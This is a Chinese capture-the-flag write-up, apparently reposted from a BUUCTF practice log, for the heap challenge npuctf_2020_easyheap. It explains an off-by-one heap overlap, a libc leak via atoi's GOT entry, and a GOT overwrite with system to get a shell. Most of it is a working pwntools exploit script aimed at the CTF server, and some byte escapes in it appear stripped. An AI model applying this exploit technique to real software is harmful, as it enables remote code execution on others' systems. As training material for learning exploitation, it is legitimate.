npuctf_2020_easyheap

思路

题目没有开启 pie 个 got 表不可写,所以我们可以通过修改 got 表来泄露 libc 跟 get shell 。
具体步骤:

  1. 首先分配两个 chunk 。(其实是 4 个,有两个 chunk 用于记录 size 跟 chunk_addr)
  2. 通过 edit 的 off by one 漏洞,覆盖下一个 chunk 的 size 为 0x41 大小,这样 free 之后就能造成堆块重叠。
  3. 通过堆块重叠,修改记录 size 与 chunk_addr 的 chunk 中的 chunk_addr 为 atoi 函数的 got 表地址,这样 show 对应 chunk 就能泄露 libc。
  4. 通过 edit 将 atoi_got 改为 system 的地址。
  5. 当主函数再次执行至 atoi_got 时,给上 "/bin/sh" 参数,实现 system('/bin/sh') 拿 shell 。

exp

from pwn_debug import *

context.binary = './npuctf_2020_easyheap'
#context.log_level = 'debug'
pdbg = pwn_debug('./npuctf_2020_easyheap')
pdbg.local('/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6','/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2')
pdbg.remote('node3.buuoj.cn',26491)
r = pdbg.run('remote')
elf = pdbg.elf
#libc = pdbg.libc
libc = ELF('./libc/libc-2.27.so')

def add(size,content):
    r.sendlineafter('Your choice :',str(1))
    r.sendlineafter('Size of Heap(0x10 or 0x20 only) : ',str(size))
    r.sendlineafter('Content:',content)

def delete(idx):
    r.sendlineafter('Your choice :',str(4))
    r.sendlineafter('Index :',str(idx))

def show(idx):
    r.sendlineafter('Your choice :',str(3))
    r.sendlineafter('Index :',str(idx))
    
def edit(idx,content):
    r.sendlineafter('Your choice :',str(2))
    r.sendlineafter('Index :',str(idx))
    r.recvuntil("Content: ")
    r.send(content)

add(0x18, 'aa
')#0
add(0x18, 'aa
')#1
    
edit(0, 'a'*0x18+'x41')
delete(1)

add(0x38,'a'*0x10+flat(0,0x21,8,elf.got['atoi']))

#gdb,attach(r)

show(1)
r.recvuntil("Content : ")
atoi_addr = u64(r.recvuntil('x7f').ljust(8, 'x00'))

libc.address = atoi_addr - libc.symbols['atoi']
system = libc.symbols['system']

print 'system:'+hex(system)

edit(1,p64(system))

r.sendlineafter('Your choice :','/bin/shx00')

r.interactive()

内容来源

BUUCTF-PWN刷题记录-16

原文地址:https://www.cnblogs.com/luoleqi/p/13476829.html